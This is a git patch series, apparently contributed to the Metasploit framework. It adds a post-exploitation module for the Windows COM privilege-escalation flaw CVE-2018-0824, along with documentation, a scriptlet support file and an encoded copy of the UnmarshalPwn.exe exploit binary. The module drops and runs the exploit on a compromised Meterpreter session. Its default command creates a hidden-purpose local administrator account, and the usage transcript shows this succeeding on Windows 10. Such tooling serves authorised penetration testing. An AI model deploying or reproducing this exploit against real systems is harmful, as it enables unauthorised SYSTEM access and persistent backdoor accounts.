From 0aac9a48810432a0f9a32c45df60fe660310e1ed Mon Sep 17 00:00:00 2001 From: 7echSec <26090453+pr4tik@users.noreply.github.com> Date: Thu, 30 Aug 2018 20:49:09 +0530 Subject: [PATCH 01/20] unmarshal --- modules/post/windows/escalate/unmarshal.rb | 134 +++++++++++++++++++++ 1 file changed, 134 insertions(+) create mode 100644 modules/post/windows/escalate/unmarshal.rb diff --git a/modules/post/windows/escalate/unmarshal.rb b/modules/post/windows/escalate/unmarshal.rb new file mode 100644 index 0000000000..56c2f467c2 --- /dev/null +++ b/modules/post/windows/escalate/unmarshal.rb @@ -0,0 +1,134 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + + include Msf::Post::File + include Msf::Post::Windows::Registry + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows unmarshal post exploitation', + 'Description' => %q{ + This module exploits a local privilege escalation bug which exists + in microsoft COM for windows when it fails to properly handle serialized objects.}, + 'References' => + [ + ['CVE', '2018-0824'], + ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824'], + ['URL', 'https://github.com/x73x61x6ex6ax61x79/UnmarshalPwn'], + ['EDB', '44906'] + ], + 'Author' => + [ + 'Nicolas Joly', # Vulnerability discovery + 'Matthias Kaiser', # Exploit PoC + 'Sanjay Gondaliya', # Modified PoC + 'Pratik Shah ' # Metasploit module + ], + 'DisclosureDate' => 'Aug 05 2018', + 'Arch' => [ARCH_X64], + 'SessionTypes' => ['meterpreter'], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('POCCMD', [true, 'The command to run from poc.sct', '/k net user msfadmin P@ssw0rd /add && net localgroup administrators msfadmin /add']), + OptString.new('READFILE', [ false, 'Read a remote file: ', 'C:\\Windows\\boot.ini' ]) + ]) + end + + def write_poc_to_target(rpoc, rpocname) + begin + print_warning("writing to %TEMP%") + temppoc = session.fs.file.expand_path("%TEMP%") + "\\" + rpocname + write_sct_to_target(temppoc,rpoc) + end + + print_good("Persistent Script written to #{temppoc}") + temppoc + end + + def write_sct_to_target(temppoc,rpoc) + fd = session.fs.file.new(temppoc, "w") + fd.write(rpoc) + fd.close + end + + def app_poc_on_target(append,rpocname) + appendpoc = session.fs.file.expand_path("%TEMP%") + "\\" + rpocname + fd = session.fs.file.new(appendpoc, "a") + fd.write(append) + fd.close + end + + def create_sct_file(txt) + print_status("Reading Payload from file #{txt}") + ::IO.read(txt) + end + + def write_exe_to_target(rexe, rexename) + begin + print_warning("writing to %TEMP%") + temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename + write_file_to_target(temprexe,rexe) + end + print_good("Persistent Script written to #{temprexe}") + temprexe + end + + def write_file_to_target(temprexe,rexe) + fd = session.fs.file.new(temprexe, "wb") + fd.write(rexe) + fd.close + end + + def create_payload_from_file(exec) + print_status("Reading Payload from file #{exec}") + ::IO.read(exec) + end + + def run + rexename = Rex::Text.rand_text_alphanumeric(10) + ".exe" + print_status("exe name is: #{rexename}") + rpocname = Rex::Text.rand_text_alphanumeric(10) + ".sct" + print_status("poc name is: #{rpocname}") + poccmd = datastore['POCCMD'] + cmdcheck = datastore['CMDCHECK'] + + rexe = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe') + raw = create_payload_from_file rexe + script_on_target = write_exe_to_target(raw, rexename) + rpoc = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'poc_header') + rawsct = create_sct_file rpoc + poc_on_target = write_poc_to_target(rawsct, rpocname) + + cmdpoc = session.fs.file.expand_path("%TEMP%") + "\\" + rpocname + fd = session.fs.file.new(cmdpoc, "a") + fd.write(poccmd) + fd.close + + rpoc1 = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'poc_footer') + append = create_payload_from_file rpoc1 + append_on_target = app_poc_on_target(append, rpocname) + + print_status('Starting module...') + print_line('') + + command = session.fs.file.expand_path("%TEMP%") + "\\" + rexename + print_status("Location of UnmarshalPwn.exe is: #{command}") + command1 = session.fs.file.expand_path("%TEMP%") + "\\" + rpocname + print_status("Location of poc.sct is: #{command1}") + + command += " " + command += "#{command1}" + + print_status("Executing command : #{command}") + command_output = cmd_exec(command) + print_line(command_output) + print_line('') + + end +end From 9f13d0fc56213055e03476f34cc1adb69cea9a3f Mon Sep 17 00:00:00 2001 From: 7echSec <26090453+pr4tik@users.noreply.github.com> Date: Thu, 30 Aug 2018 21:13:33 +0530 Subject: [PATCH 02/20] Adding documentation As there was no escalate folder I have created one to maintain my documentation, kindly suggest if any issues. --- .../post/windows/escalate/unmarshal.md | 111 ++++++++++++++++++ 1 file changed, 111 insertions(+) create mode 100644 documentation/modules/post/windows/escalate/unmarshal.md diff --git a/documentation/modules/post/windows/escalate/unmarshal.md b/documentation/modules/post/windows/escalate/unmarshal.md new file mode 100644 index 0000000000..c3d266ada7 --- /dev/null +++ b/documentation/modules/post/windows/escalate/unmarshal.md @@ -0,0 +1,111 @@ +## Overview +This is a post exploitation module for local privilege escalation bug which exists in Microsoft COM for windows when it fails to properly handle serialized objects. + +* https://www.phpmyadmin.net/downloads/ +* https://github.com/codewhitesec/UnmarshalPwn/ +* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824 + +## Module Options + +"POCCMD" This command will be executed on successful exploitation.
+"SESSION" The session to run this module on. + +## Limitations + +The payload will not spawn ant independent session it simply creates process with the system privilege. +If the system is not vulnerable, then payload will execute but new process will not spawn. + +## Verification steps + +If you want to confirm the vulnerability before you add user or perform any other sensitive action. + +1. `set POCCMD /s notepad.exe` +2. `run` + +Confirmation: + +Then go to meterpreter session and confirm running process (ps) +If you see notepad.exe running as SYSYEM then that is as indication of vulnerable system. + +## Usage + +``` +meterpreter > getuid +Server username: PC2\test +meterpreter > sysinfo +Computer : PC2 +OS : Windows 10 (Build 17134). +Architecture : x64 +System Language : en_US +Domain : PSS +Logged On Users : 12 +Meterpreter : x64/windows +meterpreter > background +[*] Backgrounding session 2... + +msf > use post/windows/escalate/unmarshal +msf post(windows/escalate/unmarshal) > show options + +Module options (post/windows/escalate/unmarshal): + + Name Current Setting + ---- --------------- +POCCMD /k net user msfuser msfpass /add && net localgroup administrators msf /add +READFILE c:\boot.ini +SESSION + + + +msf post(windows/escalate/unmarshal) > set session 2 + + +msf post(windows/escalate/unmarshal) > run + +[!] SESSION may not be compatible with this module. +[*] exe name is: oQT0yWT834.exe +[*] poc name is: sJ76Il3UGj.sct +[*] Reading Payload from file /usr/share/metasploit-framework/data/exploits/CVE-2018-0824/UnmarshalPwn.exe +[!] writing to %TEMP% +[+] Persistent Script written to C:\Users\test\AppData\Local\Temp\oQT0yWT834.exe +[*] Reading Payload from file /usr/share/metasploit-framework/data/exploits/CVE-2018-0824/poc_header +[!] writing to %TEMP% +[+] Persistent Script written to C:\Users\test\AppData\Local\Temp\sJ76Il3UGj.sct +[*] Reading Payload from file /usr/share/metasploit-framework/data/exploits/CVE-2018-0824/poc_footer +[*] Starting module... + +[*] Location of UnmarshalPwn.exe is: C:\Users\test\AppData\Local\Temp\oQT0yWT834.exe +[*] Location of poc.sct is: C:\Users\test\AppData\Local\Temp\sJ76Il3UGj.sct +[*] Executing command : C:\Users\test\AppData\Local\Temp\oQT0yWT834.exe C:\Users\test\AppData\Local\Temp\sJ76Il3UGj.sct +Query for IStorage +Call: Stat +End: Stat +Query for IMarshal +Call: GetMarshalSizeMax +Unknown IID: {ECC8691B-C1DB-4DC0-855E-65F6C551AF49} 0000020CA320CDB0 +Query for IMarshal +Call: GetUnmarshalClass +Call: GetMarshalSizeMax +Call: MarshalInterface + +[*] Post module execution completed + + +Confirmation +Back in Meterpreter Session + +meterpreter > shell +Process 3936 created. +Channel 185 created. +Microsoft Windows [Version 10.0.17134.1] +(c) 2018 Microsoft Corporation. All rights reserved. + +C:\temp\un>net user +net user + +User accounts for \\PC2 + +------------------------------------------------------------------------------- +Administrator DefaultAccount Guest +User msfuser sshd +sshd_server test WDAGUtilityAccount +The command completed successfully. From d365001ddd09ac74d4afc5a4f0be39fdd64e465c Mon Sep 17 00:00:00 2001 From: 7echSec <26090453+pr4tik@users.noreply.github.com> Date: Thu, 30 Aug 2018 21:29:45 +0530 Subject: [PATCH 03/20] Adding support files. --- data/exploits/CVE-2018-0824/poc_header | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 data/exploits/CVE-2018-0824/poc_header diff --git a/data/exploits/CVE-2018-0824/poc_header b/data/exploits/CVE-2018-0824/poc_header new file mode 100644 index 0000000000..aeb880ffb5 --- /dev/null +++ b/data/exploits/CVE-2018-0824/poc_header @@ -0,0 +1,13 @@ + + + + + + + + From 540e2699a64494265dbd4fc3f4591aba0d66212d Mon Sep 17 00:00:00 2001 From: 7echSec <26090453+pr4tik@users.noreply.github.com> Date: Thu, 30 Aug 2018 21:31:14 +0530 Subject: [PATCH 05/20] Adding unmarshalpwn.exe --- data/exploits/CVE-2018-0824/UnmarshalPwn.exe | Bin 0 -> 142848 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 data/exploits/CVE-2018-0824/UnmarshalPwn.exe diff --git a/data/exploits/CVE-2018-0824/UnmarshalPwn.exe b/data/exploits/CVE-2018-0824/UnmarshalPwn.exe new file mode 100644 index 0000000000000000000000000000000000000000..6d4c3d81ac734fa94c92c3905aa98e00eaa588fc GIT binary patch literal 142848 zcmeFad3aPs)<1qb=}tN!;dX>z5Ya}16AWr3E{PqqZ_-U}la2%di7Occ5l7TWZUf4e zcoWS{*~-l5?DLNA%sAsai_46|rlZ{ivakkl0dW*`Mk}^xfH4GI?)P)*b|(SRd7tke zzvuV-o?o7H-@3J)s&nepIj2rlSKhovN|q$aj*n?d(t14U&nv$F!aFQgYh^V2bRF6m+O#CHFHBE^^@v?}uDoH#jUp$6_ zQm!LOs-i$ulGKW-q=F=gkEV$DUrmzqC>nKrXp`y_ac6ioB3%-ICd%2QgH+!){9URo zSf(NEs|pk%fT-{Bek6*xC8_4p#q+m|$!KY!{p<--1Q=AtQ~Egt3yG zcwY3ie5Hu}|Nk%oYB;kODDSNvCrR7!ry95By5_3-$8MF4RoMx(<$yM8y@|g*Ia=n@ z2W+9K6j!9O5o$}fmT6|E-C&c{PGTaG$|{^9mRFyJx6U#eeQ9HkNZQ8BL}V((sqEI= zB30k)p4U#z4*q#(QQO8$ry6!V^*SmxY%1FyG!&QGsZc#qWlKaG>2L1V(gI8hur9O8 zsj_ye>K0T*@H;K|!;X1W0o#u{*h!TITm)K*%4}wp3y|iBS2O#C88*q=-)Yk_H@XF6 z+xXA22*P#(vfxx8E%>O?utT!oW2H_*0Swb!s!;(j%LJH1Z4C!+d%S$u(f(Qjwr_we zLv%?sCuRY@ME8d9<5l$sa)7>@a)2edT5eV0p2GeO(kSb#05N$q zIBqk$>w0QhpzkKNGeXE!%}8DG6-wy13JfnPsMA*{U!{lg>I_Z!3R&s>i_B0Cy?>#y zWR;|(F=$QyUpx7s5K*51=-v(S5?_jqIM&gTU2=1Sd{B7jDT#yl{x%JqSbwrD~~!c zky4UXqYUW2+u2#>BIbu_G##Mw@OT>Ts8rKGkX@W z+7gjlcM4cE#J2Qnm~pAphC^jes$+-h*(o>wT4bThwDMD@;*}Iv5XWVjnY~Jkb$((R zrt#e)37)&1gHtdfA}-rNG|FG17dF(j$!F{uL3_y{5<}?#G&F5k54B4P_g1g6DIe=p zSr9{7xSd}jT8NLhzPW1N?YFgW7%8PT@>%Cf(i$tM4h5$ocnSuU8-cw7!d{+*y<5=| zXjxT_6}eRb)<;v3C8-|A;vSn68lz%1;^iKCNds11-T_KlXyx!yWJx@Shh8p2j=vxW ze;Uh^;3DnLLK7HJW#7B1ah{;IZQwA4k=~fV0=2|}>CohOJ@3=Y`Kae1s^>PU=hSk4 zrE=k5uAA3?X_`TTSQ2f73d1vU_|=(I!iSjzypJjDRt*(|wanS+bqRtoifE`i14asE zSREv;SYB97mPh-=p;d8J0G6*#4l zW*BMA^8)4eIPQLY&LEc76OdRM6qgwxPCktPvJ)>6YeC{oE=VY)e%`mXzaGpXF$vGmKByu--l@a-Kdk*}Dr?Sd1PV_X0-%Y8V3`Gt zFSnlHqQOAItyrzZU{n)QYOF=Y8jSp5z$EDF>-Y}{{6D@`-~;G?9fC&!{iq)!9~3kI zbbtin4MTl#dx`$3qJzZ*Tkfz1z{DZ+p@%hR z=;63idl>IuCe?8eGXK~5XZ7D9`v1-8Uv{DVQ{SBa8KpO#DV^laA$p`$$t~6_caR-X z7{}P}Mp=j#TtRV_Wj=IPk_4_4vKK~T=^O3fpS*T4Qo_~Xh#BL|?90n-Qjj@rrhII# z%DPlGz_A%T+>R-GMxD!f%p#xwPBG3cnh+Lm3alY9jJsD zxL|W{K%=zCBtCwXqW_{W=8EicXpoKMtgj8{_IUoOl)pZazf-7Vrw_eFe{3^hyGHHw zc3BH}b&hJ(yCHrV$1pCI_yx*&i^Q*RrkyH28x1wjj_-^}jwQB&g0Yi7TPw>6X^U`qvIK)n$WqM6|l!(juqP^OxMv{q;g!SJoQ zH34>uJHQ(90_^>SS{BE5xP#~)I^KF4$p-r71Pd9SUW4@0iC}oT_YCPl_V!%mMuljk zKG0dVo@gXs+~N!vce?^cLk{TVyGI7;WTDD>{e@Vkja8^j%PqhV=7B{4P6(OG28_3aAt9QsCaU+Bq5(jfp6H=Pd8bShjO{`q zvk6f2h|KCOGP@gO)=&UaQ|2kR&ueF0+>3EOW%0rb^xtm9HWUs0x#?rFIgv_GB{&Lu ziy-+casjfI$g=5#49q8diYOrZ09;83yZwdT;VP2~Jct6w4Sk@($wLs$*O=M2BW?|f zH*KaSZfQqu)#CP+t{l;zRfMwH-Ftz6HFT=BRoFDXiVLv> z3{=al-az=`SAUPFb05#g3&131h$RV{8Tf{ie|aZTN%Xy)j3&eWKn9awejAJ&){3P` z7m>glUX;6x7H_tnZxcH8qTIY7+e!5UEp9Z4wnankg%U=211SQs8by;uPytVCbNlwX zI{Ex&DkZ6&%=-`9q@$s;)M(UIcRXsEM?*S&U@~Wc$-Jb z=RgBNT`5+NH=q@XZ$tvo)yH}KJ_JG8#JR7J<^Ck0X zJa_?MMgP**W1m6l-A~vKXX{pm`IO<0ut0Y@KEsj+Rw2cl-nBN-R@*k71L2A9MW@JK zp%+OSbn`A=XASUKn1o8WDhXuHlFe)v)%D!4yrU`aHCA3HtR?(sOHtdLWmH=c_lxH~ z{(1u~CJ{)U$nnJIrU`8BzyM*K=Xjg@Lk?b!VugENu<>V67i*7=MGnFba(Egc_({k! z3VAG*)oW?bG|Sp8bmRl3HCE7#AkisuuOZr9LW(@$=|fa45V9D|Z5WLc%eu}(w7SjA zz7zp7yGXotZA`OEgjn}2V3w09PVfl*JO5{+R`-9Ur7V-m2@`56Z24>bPJ zRKO!0&-N3RD6B`oT^!faJ9GS)9)`n-?3B}sa0a3}9q;|yCQ+-Mj<*paRChW)h=TD){d~_HW5Uxqv+fqAG7Mu`lkA?u<8$dQ~lnd`X_!% z{Vxa-IRpH!k*#nEjQnEn=a+$jhUR#O|qcVyugAWMHcS<<1k zqpn@N>LhVeGNWT{z;KXU2|9;xLKd<2K;z&6$KS$;iikAP#$fsdL;>OKc?S~dy#NvA z!3qJ~03loUD^9DRCSJD8CCa=_Ib3E8JaVxxH;SUq0S3cGnF;$t7R zB`_VwrMGda4@D)mUv42mg4p9D&mq7oEeP{k4uo<+N*7TBSy(>6xS_^mUP|va@vb$X zEiAIxcYFYW(~H7vlYa2Jd~oY7Q{CI87H%Tp#!X*&vMU}cI4Zk9<#Lu|o0z+2%8-@$ zD$)isZWJ$BnVazJa6F1{+w(y9X74TS8_;!$hcJ5yXE{L@U0->#B-Ir=w!Chdp$F7j z#{dGr(BH%(!_`zw8>*ps>qnqaU9plAnjOsFB(GCOtKpeBYH|;PDNu78gW-&=sxdk@ z;MuL^u<02=PjqoQY`4kLpeM4}sp^~ZV(%92QCs#{gRVcAE3KsAPY2Rc@Jtdo%&~X_ zpmVqF7wc`|9#FuD<^!Qr^^xqg#JNCqx3pVxta0ie5hJzj*X+%ELL;%R)MK#mXu-~u z=rytq&d2Nz|B2!-!)#RxvzMcwe&{-N?^abmX~GH)t~~<$fn<-pK;11!=MN*Iuv?gq zx6z)6Xqv_@kN=)X`S`wZk>mSJvEsIix#XUsvX2RTu-j$S+)Gn_{q7|{h18~c+C!SE zFQ84H${fh6R}wIOXcm5#nLQtGSgS6laFrDfSGukDB6|0`QOu=A54zPtgbV#HwJ@p* zL5%kK)eG@bIMfsj-chjk&q#2^bXC>kJ$QYGUeSr$+6!Ub6}Das_<9NCNOLZn`AcH( z=EM)KAQAm}Tl@A+L@Qy(lZdzEj6Z&ce(O#<|3GkaXAm!tc07UF&wPkrKTD2{ist;|uwf6Db@HHO?D0X?$))~YrF0s$~>XWMp6+Cb7h-+~4}G2zNS zWql8X6J9{Ocz89lKPaSb{gNY_8h&yg5`jJ}9A@@wl!AIn5(`H7phy*&h87LL7Uq;d z%Ldg+0XMD5KNnTEbWtK$Se0tDP%{LGh*Z}9gjyBrYD+7@`BN7)ZbLwM0$sicjGQLsNK+zM&a#ja-tc zZ=f|-((IUo)&wLw0O$bLU!sHmnnH9y^bY-|si?N$o`a!t^<_Es&={t=!%YWIF8V+p zNLnH{oshggwP~qwiIh)({Bz3MGJe}8>f+SRc*M>k?GnJInAul=(p0@2dpz$h?zI*c z&?j~viB>GTVtD+otg=5jt?U5x`5Vf*$cC45BWw|X-c{J$={R}N5g9?f_pt67mN~KSI#Zq+NwG;< z-qf0uBuSevwVod5IG#W8g{cp?m*%Pv&MmN1`8Uyq(LUz57^V_M@3Q#}$N31xQV}-> zftJIeu}vRJa-ZB}N?A41;t|MYN3IinHfcT9B+2LLTk)O3Zu!@M%*PH8WCRyMC2xE` zt$_+8p+FZ3$QwTx-EeQG)Hz7NwpE=P9YNUDUoMWN2iuBe3)woSn4GcANq*BF& zTZp5o>+x_ zY#UZb?6_lU*$QC4t?ly}AxuoUc{egEO<$2y&C1IH5I>V6kQQYKB}>!Q4Sm!M>Bjn@ zKCBr0Z8t#5Kct3NHfT_BcvhgAUHpHbHKuv z1k5R=rVo|64#71*>aah|Mm5Mbks)TcB_h7{4}b={>>l()$c(Rp`D`~QUW2N^d)Vfn zp}K>H7YilaJPg%I9wqfy#`T&mkb`;)$r(6wRV~df{y1w`>KC<9(1nW z2dO@mM5HUEU@~e8jx{9r!}PtI#EHq+EQc)#p*D~N7#@h4@)8iI!9cc2H2_tZo#cK% z45bz2RMy8o1U9Tn{8lBQ6h-egV|E`??PB*BId}3G;g@wfMAXJ0ADkVx%DNS{EF;Jc z!P6$dj#RR~Aewv#ja0JHxr_&mF)gO11<+}87rOtd8a{VTAbFnCbGLofzdUz4S04;8 znMRsSsgPSH)8r@vhYcoUb@Q=`3?Fm(VG=t#5U$ElYm)+=P1*<(veTx~il=+=VSF|G zBEamBmotn&ZLk${HN&PFBMJO!6%z_Pp@znZ42jCE7GI#gxP6$PAOqq6;Ow)NIq^Pu zRW>Ea-c#B4oI%!GctE9X;hpSrA6t^ae+P{E*nq#KUv5qV(+{#rCq(XG?Ts!Uix|zh zw1_M04PW?XvjR8|gzd&O&kC1)RVqE4tDFkk>xY2YHtjLOCAa&pP+<( zZLW{~DR&KOLGdg?4rZ_>vvPZ}ZPi7r+*z#HSD)weOjN&l`)|gQ%<#mBs8-6>AR~^I_)nMCn;T*@;Op3v8h$m=UBNQ{>ftN%rpx zuq_y>BB3^r+(6O_C4vt?2M|Mg8x87h?VN00G&Q|KCabb!vgg60!Af7=PplNaG%Zg- z5(=^>ofIE-ynP9HvkMXXX|fi`F4ZMx*<_d3EoTK>c!jQ_xbg1AJ0(})-HZ1cyjRJt zR_Yp}uqWlkByOZ(!)v{qWl)N0G*Jv1x^Jw6y~+{9jjJGC2`LWY8nw2iPY7<J!EVU#SxEwhjNm~EGPN2U0k#8Jo;?&{RD+NQ zl}Ity<9nnh_&K8Rvg**4To#3^s$&^y_-2SeC&}(U3ObTDHg=dF!8%T^K!VR0D!FDs zFybAH2x}yh@m(SZSd}jJZ$#WnR@}mP+@LLj|C$nvYB94C`V+V)Z?od5060^eXT)7G zyaBSLVy*|UTCpSic2W5(Cs=U}pDA8$EW*n|?h`K+ML}9PJ6RUypPF1%Qy6I_D-_1Q zKp+Hlxdrp!A41cP&-g(P0gN*l(-*YD98R5SDi#vwOnAoGLlsPMUqZNoz`68Vl_>=z zLSCuXR@pINvYI@z2yQ2N{8G?Q?7V)-Mc!9R9<1Y3XC@iw#lo;@5)e%T##h`8BOSGA zzBhzl{vZS&l>sSfYVkQ5MAaKm!Jg33a4Big7$WTR_HPGcQ_4r%=}0z!TY5YO=|EpWB0;KKUWCB;v(MFZwU>qObVe zCCSY{u!0#j?QA52X2Adg$(sZ0b+ZRMFDqARO)DjVu{>3u8o-1ivu-%kix5ASBgB@G z8%gd~*$y*%5~5k~bC)9Y&_MEbRK#D#=1PE-dxLBXoBcWVxpw$ir4&ehO-yK{Sn`>f zz5F6n`U-NJ9lcj#WrU!&1vLlQYDh~X0{LGko+GmUXGHl~l)a(AUYNXx`Sw~}Y(+d? zsEZA&eGs}7{e8FQ^B3;%gQ%`hU?NEFX1;B9)ibboJOY@V0}Z25#8vFu<_e`Flz~u& z=2Xm0eoxQh?F#Gmdv=Ger97x30|i34v~Em}jSo+=yedtDXLyQIOs$uHgg59*cu|Ly*u-H{oh;v(Z2G9cJ7ZMJ0Ecb*)*wBLH^ms%I z60HLSpQ`VICunD5Nf8OW;TblbIhzK5AEllf#P(x&E@nj+|G`3vZdW>{Ic?Z6q!n}< z|Lz@_NMJ}$x+c&Pl}qpy`%q2e~gv-o7_Ja|dv&mlJU zv9LV}T^c-~xjU4_=OF|C0TN+lyamPMIaJS9@F{&0d>fTCHNU6Lc})h$3;w$(bre>b zaS`Z$G|I#OhW6Ly!h|j6{;@v1%-rrA#K z|2AfRfpu}_af-n6m@)Hn3d-mEK;*{EqsGjW$p016u>Whg>WnI9YgKw8UA$8~)=8(Z zq0xGj1rev_5C{{tYzOZrg-|Twg2rGJ7secih~x7YSaMo?4M^xM`qbNdU|JA5?k`Zn z%$_j;95pk5Sa=w9fYwxft6A8uLIQ7~DGxW~zSvzX^E=4FKS4U;Zr(@&m$ffA3k|W% zG^ECP1U!Lz_!cYUxoT$w`kZN$EmIA>kw7H<@*S!(lV$FO6KLTc{u62y%p(^)A_eth z(tk;&KTTN@YhyU`FlywF=8#q32dF?FFg5t_W>1671Z=6oYB?v-vg3D%hZ*ztc)((n z%CYAu#cltX9#kjxFR7jrrk251pk6(*81LpO^Rcp4J-3o{Dx1RWHhti$(1;*Q3b3vG zA?lUDgC#eSS_bC3kH2t~^k=79TXrt#A718j+K2dB?G5LmGM`~j0-h6gE4bXDq^N-} zKCQTCh10&uZs6M*7$Mnh2N1mgK(g8qtVK zDyU>fgf4oNv?)_5US`+i%Gzai{xFQcf$-?mSPB$WAA_Q^M{Zt%72OYwCyU=nwqY!^ zwPkh~9%I-t+vP2Kz$G`&LYCs?&XBX%BV#SZi)TeTvN_dc)YR9X+^9`a`cqsQys#a` z?*Pf@oZHME;}$`=8MXk#L4yN>2L+%|S8N{mxHc}pD)TT-aJhv|$g8^sBw1jocruQj}xzR!SvGL>SfI{{C}!UIZi&PsId zXe>2QTMs-<;XB|{qjQ^9LWhR#ES`t4;0C-~h*#9YLn?V6#0dz&*XQwf&<||AD}t>E z&yk&cEv)yk0;|{!XD;@8t603i11PX&7~>cwbnxgrkp}&=8j{dLGV~@495q4qa_;jI zvHD&JM8UA?s$>VTNLFIUlD!TS9Dn~40`Jk>2y%h^NKIakU?qlnq`(h&!!G_0;!RJ` z%&o0}#bl?-p2+Q@63NlFM{_w9V4GXT7Qv!i92Wv05Zi#8A_l4HO#~pn?Iag2OJ?Oy zzzCNRD@e2hXR*Y(gpGrV{v>Q&!)+Ylg;DI69HiFS$~$4}fZ?XY--@^W{war{ars*B zc_hFfLhpuEhhGEB6Koz}r}CpVXtbVkyBr>X1k&Uo`CM-4Ku!Ac9J}1|GD56uP_vRB z`6D%=FE5bfmZuQp-#dX3(3iQP04yaL=4N_l)owmh1S*OEhb_qJ^MXcbF8}Qj)3h21 zoktCXa)wpDbc9uL^F35imQ^u)KRn!lFzP7cUkrf5us29}(`$+(?nF-@S7j60UK3%t zWdut1UW~6G3(bY7_a@B0?ER4gRiNnXfO)A6qUx{sCBkM~QGmTBsFyP{)MV@s`+v-{6Y+>+87`xe zwREp4;$M-g8ms(qkdB~&%bZVjsBbG{(l`hOpTanApHU)w#8DCTCLXMrg{v=&ng81XkBmRm-O5neEZ zrA`D8=TDsgRbPH+0D}UAxwVlzjXGF6!;PNBlF9In{!C!yxlx|<4BVA=BBwB$?&J+0 znI`<3T3$lbV1|~#sy_ombl*hV?DNm7Z{@)*)X6$Nxb%wO$^2U|-Nueb)d^D~Y zx}r*)Uhppsu-EWX004XzuYkdyLr;_Vr?h0~%b>koM?4CPA#DL3MAC3O-d~^qZR73K zrEuk|d<@wy!r8S@w8i_w;9%SN8tn6v20=Uu)^uSuL+tg~RT5<#Ocb4l8bv`eCAqdiDU9)h{J+NF7$t`+u;GTyq!o9dBq!o@;*3B1Zf`{ zBV!sCA6jxcFcImi3R*elAPu0GaEeWc`MCuWQ5{wr8p?OTNfX0G6&*xrbBpIs)<`^* zj!8yDMY94#^%Ne%iHgswwq!(WO~M)r{iQw!C)wi1Aqo#*3BpMkEUd*hK|WM#@3-?h zvYLi7Qb;V?#*PWO>;P(pfP)N6?c9HAhN7Dw9BxF0{?tY-z27gn+hFBl22jsl0Zy zl)n`&C1wPsy~9}d>GVeN^GVHqNptk4I<;IOJR)e*#v*8^Si3e-X-@IU1zv4Rp}8ZizVCt)sbxB#3`S$`3N`ZBK+ zx~l0qTEw+Wi_Z?Z^wl|XNLHIx*N|ycJI7a?s%5ie!9vLer@t)MCb#?yWZz$Iualb} zN3HsDI~MbY5vRW_wjr?8FSByEwcAlc=;|Pw=Eh+ZVl4MURuh6m2w6O35F{2M;DeaY zb|4GnC4My)m)@%o3y99cncyM?3Yh$;kMemcPy&u!AmSN$F}M^%XGFa__{o2oX0Hti z`tl43)?Eu`!S)xs_2q6!8^y<9N<;c0mM=y@h`eC?;|F^vKlBQE#L5z@011B9_=N7m z*d#B$t9XWc$$XWS7wF5Jl6Dq<11tux6a;H$I)lXgVf3qnRmm%_wYUVhGo}_XXPSya zn77VEfrITrOe>l|2JkJc$Ka-B_I;zUHxHAvm3ugMw{k=5B!-9LZB`RlM=?uLmOG(e z43ba{ZG9~yalW3!`DGC2t6*Z|d$AgTjs|V{mS5opw0cIr#ka*IbBra9jFZiS8xaY= zMVCkrev6-traV|cEWgE5cGUpG2^`L#Mak`(V9C_M3AD7~g#=+f11oZnEyP*}F2off zfOy?1cxnX6IQ~$j8ZQdb8so1DrmwPjUP6Z8UO~20tdmtlXZ;S;_$94kI8Ma>Edtef zJSLWEIv{id_H)Q{|9*HL1tHNBl7hvntF?1Gn}xs+TEZDjYkEL%6eL;#2ORK zRe2C515#KBfhtxp0yMUaoZLm}l_;&(c#*||8xw>m3ho-T%I@U1eMrR9ENX^k;r20a z4y&@`ba!Sjd_7*L<**y=Y^0eTlWmwJ7&_t&c|jo7n`kcx1Xl&w{9M>}xAS-Y1sSNt z3{7deR@lxj)>lDn&cy^A-0e79C8g>nw2c)c-GXEh{9~1Xy`UY?7G~jFvYFpM`+Up zV3g(sij}-jW@j=DmzA^7$~jqK0p#q`Pb4jM2lNLDq|jJ?3E=AVdMUG@a;uz}#$qpJ zyN`6)xI7Zfb;2un*v>|QpJAW659Z+@JHgX1P(j88>d5Vv?F~Rn%Lm3_?b?h5)$|tV z5CMduuXw(YAB&+`ig|2203b;`406Z0NpPNE?eReLgJiY#dS@VcCo8duHS>2!iAU)x zpg3vg@gGtY(gx+fojKyj=0VQCpB%;w1h636PzNMYlSCM7ld-R>K3k~iyky!u- zwXg?>rHW2I&LV2VTvROq8QdHL^w_)9HEM*o`^&(GXWyy|;X*~TR)u8FUqhVmWJzS& zg@~AIsL&&L$J|86ifEaLn+&}G*77q3$8?@~4-D{;u}au^p2i6Ir}P(^#n-G_!9RSD z@YfSyesKJnjDWrwBmN%m8H&bq$zYSyTMn;M)!NQrxTG-<{V<6?D{|}$)WTCC8ThAH zlGxbZO4Jod-UR`K{{!qB>rsZegDP%0yc)Pv*4oTY&$TO>sRva`8z^-V*=MY6PWRwE zZ0Da}Kim#?%6JzZCc$dbs+$V?xyypp5`;Q*xF&!f@so$BWBd3~@dQbcnA8E1$|2DR zQ>+_?bSE@{%QwT?`-H_jCYW1Py<@cJvK9XWyQww8gHnqaX4q9f6f(=E02CziAi@C_ z39>yHMC_ymuvhx^zajg-@Xnwu;~XDYtSitNC6*F%T4n0ifc4Pd;C=zUtIRPGDl$NQ z>~-`B*6IrvsDmEg#!rAx)uXx=r{LSUBy~e3B6dtl`1NA5DxCfFR&iPkvL}3YGPZ7f z3YUEF8fY?@o>`{jStOh7`scRAdr!3+3tt?I7qaoK$Q2t8!~9&zzAau^7tU#<<2~~( z#9}+|U13Y6g0zBv6FvH1Mhjng?=z-ZNjway)JGNU(XZ&xT##ko4rWN3a|**K?@uicBs6D|QroeMGG|7i-lA`Z|CPhT#ScNJ7|N?+iTBEFg>FC{KIhh4>@RGvbWP z#Z(Yk=cxJ?d%*Lt+;S;c6b57FI)HqD`U6`n9Cwg6MdXcW@al0)LGnf~x`!=XIBe(d 